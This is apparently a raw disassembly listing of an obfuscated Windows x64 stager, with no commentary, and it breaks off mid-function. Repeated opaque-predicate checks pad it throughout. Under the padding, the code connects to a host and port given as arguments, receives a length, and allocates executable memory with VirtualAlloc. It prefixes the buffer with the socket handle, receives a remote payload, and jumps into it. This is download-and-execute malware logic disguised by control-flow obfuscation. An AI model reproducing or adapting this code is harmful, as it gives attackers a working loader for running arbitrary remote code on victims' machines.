mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140005d77
jmp 0x1400070b4
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
add eax, 5
mov eax, eax
mov edx, eax
xor eax, eax
mov ecx, eax
mov r8d, 0x1000
mov r9d, 0x40
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
add rsp, 0x20
mov rcx, rax
mov rax, qword [rbp - 8]
mov qword [rax], rcx
cmp qword [rax], 0
sete al
mov byte [rbp - 0x4a], al
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140005de8
jmp 0x1400070b4
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140005e1a
jmp 0x140006cd8
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140005e4c
jmp 0x1400070ee
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140005e7e
jmp 0x1400070ee
mov al, byte [rbp - 0x4a]
test al, 1
jne 0x140005e8e
jmp 0x140005f12
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140005ec0
jmp 0x1400070f3
mov rax, qword [rbp + 0x10]
mov rcx, qword [rax]
lea rdx, str.could_not_allocate_buffer_n
sub rsp, 0x20
call sym.punt
add rsp, 0x20
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140005f0d
jmp 0x1400070f3
jmp 0x140005f12
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140005f44
jmp 0x140006d76
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140005f76
jmp 0x140007113
mov rdx, qword [rbp - 8]
mov rax, qword [rbp - 0x10]
mov rcx, qword [rbp + 0x10]
mov r8, qword [rdx]
mov byte [r8], 0xbf
mov r8, qword [rdx]
mov r9d, dword [rcx]
mov dword [r8 + 1], r9d
mov rcx, qword [rcx]
mov rdx, qword [rdx]
add rdx, 5
mov r8d, dword [rax]
sub rsp, 0x20
call sym.recv_all
mov rdx, qword [rbp + 0x20]
mov rcx, qword [rbp - 8]
add rsp, 0x20
mov r8d, eax
mov rax, qword [rbp]
mov dword [rdx], r8d
mov rcx, qword [rcx]
mov qword [rax], rcx
sub rsp, 0x20
call qword [rax]
add rsp, 0x20
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140006001
jmp 0x140007113
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140006033
jmp 0x140006d76
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140006065
jmp 0x140007171
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140006097
jmp 0x140007171
xor eax, eax
lea rsp, [rbp + 0x40]
pop rdi
pop rsi
pop rbp
ret
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x1400060d3
jmp 0x140007176
mov r9, qword [rbp + 0x30]
mov r11d, dword [rbp + 0x3c]
mov eax, 0x10
mov qword [rbp - 0x58], rax
call fcn.1400084c0
sub rsp, rax
mov rax, qword [rbp - 0x58]
mov rsi, rsp
call fcn.1400084c0
sub rsp, rax
mov rax, qword [rbp - 0x58]
mov r10, rsp
call fcn.1400084c0
sub rsp, rax
mov rax, qword [rbp - 0x58]
mov r8, rsp
call fcn.1400084c0
sub rsp, rax
mov rax, qword [rbp - 0x58]
mov rdx, rsp
call fcn.1400084c0
sub rsp, rax
mov rax, qword [rbp - 0x58]
mov rcx, rsp
call fcn.1400084c0
sub rsp, rax
mov rax, rsp
mov dword [rsi], 0
mov dword [r10], r11d
mov qword [r8], r9
mov edx, dword [rdx]
and edx, 3
mov dword [rcx], edx
mov dword [rax], 0
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140006185
jmp 0x140007176
jmp 0x1400031f8
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x1400061bc
jmp 0x1400071fb
mov rax, qword [rbp - 0x18]
mov rdx, qword [rbp - 0x20]
mov ecx, dword [rdx]
or ecx, 0xbaaad0bf
mov edx, dword [rdx]
xor edx, 2
imul ecx, edx
mov dword [rax], ecx
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140006208
jmp 0x1400071fb
jmp 0x140003498
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x14000623f
jmp 0x14000721a
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140006271
jmp 0x14000721a
jmp 0x140003647
mov rax, qword [rbp - 0x18]
mov rdx, qword [rbp - 0x20]
mov ecx, dword [rdx]
and ecx, 0xbaaad0bf
mov edx, dword [rdx]
add edx, 3
imul ecx, edx
mov dword [rax], ecx
jmp 0x140003790
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x1400062c7
jmp 0x14000721f
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x1400062f9
jmp 0x14000721f
jmp 0x140003813
mov rax, qword [rbp - 0x18]
mov rdx, qword [rbp - 0x20]
mov ecx, dword [rdx]
add ecx, 0xbaaad0bf
mov edx, dword [rdx]
and edx, 5
imul ecx, edx
mov dword [rax], ecx
jmp 0x140003917
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x14000634f
jmp 0x140007224
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140006381
jmp 0x140007224
jmp 0x14000399a
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x1400063b8
jmp 0x140007229
mov rax, qword [rbp - 0x18]
mov rdx, qword [rbp - 0x20]
mov ecx, dword [rdx]
or ecx, 0xbaaad0bf
mov edx, dword [rdx]
xor edx, 2
imul ecx, edx
mov dword [rax], ecx
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140006404
jmp 0x140007229
jmp 0x140003b41
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x14000643b
jmp 0x140007248
mov rax, qword [rbp - 0x18]
mov rdx, qword [rbp - 0x20]
mov ecx, dword [rdx]
and ecx, 0xbaaad0bf
mov edx, dword [rdx]
add edx, 3
imul ecx, edx
mov dword [rax], ecx
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140006487
jmp 0x140007248
jmp 0x140003c35
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x1400064be
jmp 0x140007267
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x1400064f0
jmp 0x140007267
jmp 0x140003de4
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140006527
jmp 0x14000726c
mov rax, qword [rbp - 0x18]
mov rdx, qword [rbp - 0x20]
mov ecx, dword [rdx]
xor ecx, 0xbaaad0bf
mov edx, dword [rdx]
or edx, 4
imul ecx, edx
mov dword [rax], ecx
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140006573
jmp 0x14000726c
jmp 0x140003f2d
mov rax, qword [rbp - 0x18]
mov rdx, qword [rbp - 0x20]
mov ecx, dword [rdx]
add ecx, 0xbaaad0bf
mov edx, dword [rdx]
and edx, 5
imul ecx, edx
mov dword [rax], ecx
jmp 0x140004078
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x1400065c9
jmp 0x14000728b
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x1400065fb
jmp 0x14000728b
jmp 0x14000415f
jmp 0x14000422c
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140006637
jmp 0x140007290
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140006669
jmp 0x140007290
jmp 0x14000435d
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x1400066a0
jmp 0x140007295
mov rax, qword [rbp - 0x18]
mov rdx, qword [rbp - 0x20]
mov ecx, dword [rdx]
or ecx, 0xbaaad0bf
mov edx, dword [rdx]
xor edx, 2
imul ecx, edx
mov dword [rax], ecx
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x1400066ec
jmp 0x140007295
jmp 0x14000450a
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140006723
jmp 0x1400072b4
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140006755
jmp 0x1400072b4
jmp 0x1400046b9
jmp 0x1400048e9
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140006791
jmp 0x1400072b9
mov rax, qword [rbp - 0x18]
mov rdx, qword [rbp - 0x20]
mov ecx, dword [rdx]
add ecx, 0xbaaad0bf
mov edx, dword [rdx]
and edx, 5
imul ecx, edx
mov dword [rax], ecx
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x1400067dd
jmp 0x1400072b9
jmp 0x140004ab5
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140006814
jmp 0x1400072d8
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140006846
jmp 0x1400072d8
jmp 0x140004c00
jmp 0x140004d31
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140006882
jmp 0x1400072dd
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x1400068b4
jmp 0x1400072dd
jmp 0x140004e62
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x1400068eb
jmp 0x1400072e2
mov rax, qword [rbp - 0x18]
mov rdx, qword [rbp - 0x20]
mov ecx, dword [rdx]
or ecx, 0xbaaad0bf
mov edx, dword [rdx]
xor edx, 2
imul ecx, edx
mov dword [rax], ecx
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140006937
jmp 0x1400072e2
jmp 0x140004f47
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x14000696e
jmp 0x140007301
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x1400069a0
jmp 0x140007301
jmp 0x1400050f6
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x1400069d7
jmp 0x140007306
mov rax, qword [rbp - 0x18]
mov rdx, qword [rbp - 0x20]
mov ecx, dword [rdx]
and ecx, 0xbaaad0bf
mov edx, dword [rdx]
add edx, 3
imul ecx, edx
mov dword [rax], ecx
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140006a23
jmp 0x140007306
jmp 0x14000523f
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140006a5a
jmp 0x140007325
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140006a8c
jmp 0x140007325
jmp 0x1400053ee
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140006ac3
jmp 0x14000732a
mov rax, qword [rbp - 0x18]
mov rdx, qword [rbp - 0x20]
mov ecx, dword [rdx]
add ecx, 0xbaaad0bf
mov edx, dword [rdx]
and edx, 5
imul ecx, edx
mov dword [rax], ecx
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140006b0f
jmp 0x14000732a
jmp 0x1400054f2
jmp 0x1400056a1
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140006b4b
jmp 0x140007349
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140006b7d
jmp 0x140007349
jmp 0x1400057d2
mov rax, qword [rbp - 0x20]
mov rcx, qword [rbp - 0x18]
mov ecx, dword [rcx]
mov dword [rax], ecx
sub rsp, 0x20
call sym.winsock_init
add rsp, 0x20
jmp 0x14000589f
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140006bd2
jmp 0x14000734e
mov rax, qword [rbp - 0x28]
mov rcx, qword [rax]
mov rcx, qword [rcx + 8]
mov qword [rbp - 0x60], rcx
mov rax, qword [rax]
mov rcx, qword [rax + 0x10]
sub rsp, 0x20
call sub.msvcrt.dll_atoi
mov rcx, qword [rbp - 0x60]
add rsp, 0x20
mov edx, eax
sub rsp, 0x20
call sym.wsconnect
mov rdx, qword [rbp - 0x10]
add rsp, 0x20
mov rcx, rax
mov rax, qword [rbp + 0x10]
mov qword [rax], rcx
mov rcx, qword [rax]
mov r8d, 4
xor r9d, r9d
sub rsp, 0x20
call qword [sym.imp.WS2_32.dll_recv]
add rsp, 0x20
mov ecx, eax
mov rax, qword [rbp + 0x20]
mov dword [rax], ecx
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140006c6a
jmp 0x14000734e
jmp 0x140005a95
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140006ca1
jmp 0x1400073b9
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140006cd3
jmp 0x1400073b9
jmp 0x140005bdc
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140006d0a
jmp 0x1400073be
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
add eax, 5
mov eax, eax
mov edx, eax
xor eax, eax
mov ecx, eax
mov r8d, 0x1000
mov r9d, 0x40
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
add rsp, 0x20
mov rcx, rax
mov rax, qword [rbp - 8]
mov qword [rax], rcx
mov eax, dword [0x140012b98]
mov ecx, dword [0x140012b9c]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140006d71
jmp 0x1400073be
jmp 0x140005d45
mov rdx, qword [rbp - 8]
mov rax, qword [rbp - 0x10]
mov rcx, qword [rbp + 0x10]
mov r8, qword [rdx]
mov byte [r8], 0xbf
mov r8, qword [rdx]
mov r9d, dword [rcx]
mov dword [r8 + 1], r9d
mov rcx, qword [rcx]
mov rdx, qword [rdx]
add rdx, 5
mov r8d, dword [rax]
sub rsp, 0x20
call sym.recv_all
mov rdx, qword [rbp + 0x20]
mov rcx, qword [rbp - 8]
add rsp, 0x20
mov r8d, eax
mov rax, qword [rbp]
mov dword [rdx], r8d
mov rcx, qword [rcx]
mov qword [rax], rcx
sub rsp, 0x20
call qword [rax]
add rsp, 0x20
jmp 0x140005f44
mov r9, qword [rbp + 0x30]
mov r11d, dword [rbp + 0x3c]
mov eax, 0x10
mov qword [rbp - 0x68], rax
call fcn.1400084c0
sub rsp, rax
mov rax, qword [rbp - 0x68]
mov rsi, rsp
call fcn.1400084c0
sub rsp, rax
mov rax, qword [rbp - 0x68]
mov r10, rsp
call fcn.1400084c0
sub rsp, rax
mov rax, qword [rbp - 0x68]
mov r8, rsp
call fcn.1400084c0
sub rsp, rax
mov rax, qword [rbp - 0x68]
mov rdx, rsp
call fcn.1400084c0
sub rsp, rax
mov rax, qword [rbp - 0x68]
mov rcx, rsp
call fcn.1400084c0
sub rsp, rax
mov rax, rsp
mov dword [rsi], 0
mov dword [r10], r11d
mov qword [r8], r9
mov edx, dword [rdx]
and edx, 3
mov dword [rcx], edx
mov dword [rax], 0
jmp 0x14000322a
jmp 0x1400033c0
jmp 0x140003434
mov rax, qword [rbp - 0x18]
mov rdx, qword [rbp - 0x20]
mov ecx, dword [rdx]
or ecx, 0xbaaad0bf
mov edx, dword [rdx]
xor edx, 2
imul ecx, edx
mov dword [rax], ecx
jmp 0x1400034ca
jmp 0x14000357a
jmp 0x1400035e3
jmp 0x140003679
jmp 0x14000372c
jmp 0x140003845
jmp 0x1400039cc
jmp 0x140003a62
jmp 0x140003add
jmp 0x140003bbf
mov rax, qword [rbp - 0x18]
mov rdx, qword [rbp - 0x20]
mov ecx, dword [rdx]
and ecx, 0xbaaad0bf
mov edx, dword [rdx]
add edx, 3
imul ecx, edx
mov dword [rax], ecx
jmp 0x140003c67
jmp 0x140003d17
jmp 0x140003d80
jmp 0x140003e16
jmp 0x140003ec9
jmp 0x140003fab
jmp 0x140004014
jmp 0x1400040fb
jmp 0x140004191
jmp 0x14000425e
jmp 0x1400042f9
jmp 0x14000438f
jmp 0x140004432
jmp 0x1400044a6
mov rax, qword [rbp - 0x18]
mov rdx, qword [rbp - 0x20]
mov ecx, dword [rdx]
or ecx, 0xbaaad0bf
mov edx, dword [rdx]
xor edx, 2
imul ecx, edx
mov dword [rax], ecx
jmp 0x14000453c
jmp 0x1400045ec
jmp 0x140004655
jmp 0x1400046eb
jmp 0x14000478e
mov rax, qword [rbp - 0x18]
mov rdx, qword [rbp - 0x20]
mov ecx, dword [rdx]
and ecx, 0xbaaad0bf
mov edx, dword [rdx]
add edx, 3
imul ecx, edx
mov dword [rax], ecx
jmp 0x140004802
jmp 0x140004885
jmp 0x14000491b
jmp 0x1400049be
mov rax, qword [rbp - 0x18]
mov rdx, qword [rbp - 0x20]
mov ecx, dword [rdx]
xor ecx, 0xbaaad0bf
mov edx, dword [rdx]
or edx, 4
imul ecx, edx
mov dword [rax], ecx
jmp 0x140004a32
jmp 0x140004b33
jmp 0x140004b9c
jmp 0x140004c32
jmp 0x140004ccd
jmp 0x140004d63
jmp 0x140004dfe
jmp 0x140004ee3
mov rax, qword [rbp - 0x18]
mov rdx, qword [rbp - 0x20]
mov ecx, dword [rdx]
or ecx, 0xbaaad0bf
mov edx, dword [rdx]
xor edx, 2
imul ecx, edx
mov dword [rax], ecx
jmp 0x140004f79
jmp 0x140005029
jmp 0x140005092
jmp 0x140005128
jmp 0x1400051db
mov rax, qword [rbp - 0x18]
mov rdx, qword [rbp - 0x20]
mov ecx, dword [rdx]
and ecx, 0xbaaad0bf
mov edx, dword [rdx]
add edx, 3
imul ecx, edx
mov dword [rax], ecx
jmp 0x140005271
jmp 0x140005321
jmp 0x14000538a
jmp 0x140005420
mov rax, qword [rbp - 0x18]
mov rdx, qword [rbp - 0x20]
mov ecx, dword [rdx]
add ecx, 0xbaaad0bf
mov edx, dword [rdx]
and edx, 5
imul ecx, edx
mov dword [rax], ecx
jmp 0x140005524
jmp 0x1400055d4
jmp 0x14000563d
jmp 0x1400056d3
jmp 0x14000576e
jmp 0x140005804
jmp 0x140005929
mov rax, qword [rbp - 0x28]
mov rax, qword [rax]
mov rdx, qword [rax]
sub rsp, 0x20
lea rcx, str._s__host___port__n
call sym.printf
add rsp, 0x20
mov ecx, 1
sub rsp, 0x20
call sym.exit
add rsp, 0x20
jmp 0x14000599d
jmp 0x140005a31
jmp 0x140005b78
jmp 0x140005c4d
mov rax, qword [rbp + 0x10]
mov rcx, qword [rax]
lea rdx, str.read_a_strange_or_incomplete_length_value_n
sub rsp, 0x20
call sym.punt
add rsp, 0x20
jmp 0x140005cc1
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
add eax, 5
mov eax, eax
mov edx, eax
xor eax, eax
mov ecx, eax
mov r8d, 0x1000
mov r9d, 0x40
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
add rsp, 0x20
mov rcx, rax
mov rax, qword [rbp - 8]
mov qword [rax], rcx
jmp 0x140005d77
jmp 0x140005e4c
mov rax, qword [rbp + 0x10]
mov rcx, qword [rax]
lea rdx, str.could_not_allocate_buffer_n
sub rsp, 0x20
call sym.punt
add rsp, 0x20
jmp 0x140005ec0
mov rdx, qword [rbp - 8]
mov rax, qword [rbp - 0x10]
mov rcx, qword [rbp + 0x10]
mov r8, qword [rdx]
mov byte [r8], 0xbf
mov r8, qword [rdx]
mov r9d, dword [rcx]
mov dword [r8 + 1], r9d
mov rcx, qword [rcx]
mov rdx, qword [rdx]
add rdx, 5
mov r8d, dword [rax]
sub rsp, 0x20
call sym.recv_all
mov rdx, qword [rbp + 0x20]
mov rcx, qword [rbp - 8]
add rsp, 0x20
mov r8d, eax
mov rax, qword [rbp]
mov dword [rdx], r8d
mov rcx, qword [rcx]
mov qword [rax], rcx
sub rsp, 0x20
call qword [rax]
add rsp, 0x20
jmp 0x140005f76
jmp 0x140006065
mov r9, qword [rbp + 0x30]
mov r11d, dword [rbp + 0x3c]
mov eax, 0x10
mov qword [rbp - 0x70], rax
call fcn.1400084c0
sub rsp, rax
mov rax, qword [rbp - 0x70]
mov rsi, rsp
call fcn.1400084c0
sub rsp, rax
mov rax, qword [rbp - 0x70]
mov r10, rsp
call fcn.1400084c0
sub rsp, rax
mov rax, qword [rbp - 0x70]
mov r8, rsp
call fcn.1400084c0
sub rsp, rax
mov rax, qword [rbp - 0x70]
mov rdx, rsp
call fcn.1400084c0
sub rsp, rax
mov rax, qword [rbp - 0x70]
